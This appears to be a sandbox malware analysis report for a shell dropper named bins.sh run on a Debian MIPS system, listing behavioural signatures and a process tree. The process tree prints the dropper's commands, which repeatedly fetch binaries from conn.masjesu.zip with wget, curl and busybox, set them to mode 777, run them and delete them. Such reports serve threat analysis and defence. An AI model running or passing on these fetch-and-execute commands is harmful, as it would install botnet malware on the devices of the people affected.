Analysis

  • max time kernel
    149s
  • max time network
    15s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    22/11/2024, 02:02

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241122-cf43yssjbz
  • SHA256 b2f4a0c51167e6768e8ce10b9fe6a7c55fa386dbc7e23ad8c4858c26e99bfa97
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Reads runtime system information 3 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 8 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:708
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:710
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
          2⤵
          • System Network Configuration Discovery
          PID:712
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:735
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
          2⤵
          • System Network Configuration Discovery
          PID:739
        • /bin/chmod
          chmod 777 MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
          2⤵
          • File and Directory Permissions Modification
          PID:740
        • /tmp/MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
          ./MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
          2⤵
          • Executes dropped EXE
          PID:741
        • /bin/rm
          rm MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
          2⤵
            PID:742
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
            2⤵
            • System Network Configuration Discovery
            PID:743
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:744
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
            2⤵
            • System Network Configuration Discovery
            PID:746
          • /bin/chmod
            chmod 777 CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
            2⤵
            • File and Directory Permissions Modification
            PID:747
          • /tmp/CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
            ./CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
            2⤵
            • Executes dropped EXE
            PID:748
          • /bin/rm
            rm CY5W87L15hU4lgeDpRC4k0K1mlSwECoMBy
            2⤵
              PID:749
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/xWutPeRDAl4NaXH8Vbaqc9RBzfP4BSAsVl
              2⤵
              • System Network Configuration Discovery
              PID:750
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/xWutPeRDAl4NaXH8Vbaqc9RBzfP4BSAsVl
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              PID:751

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L

                • Path /tmp/MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
                • Size 153B
                • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                • MD5 SHA1 SHA512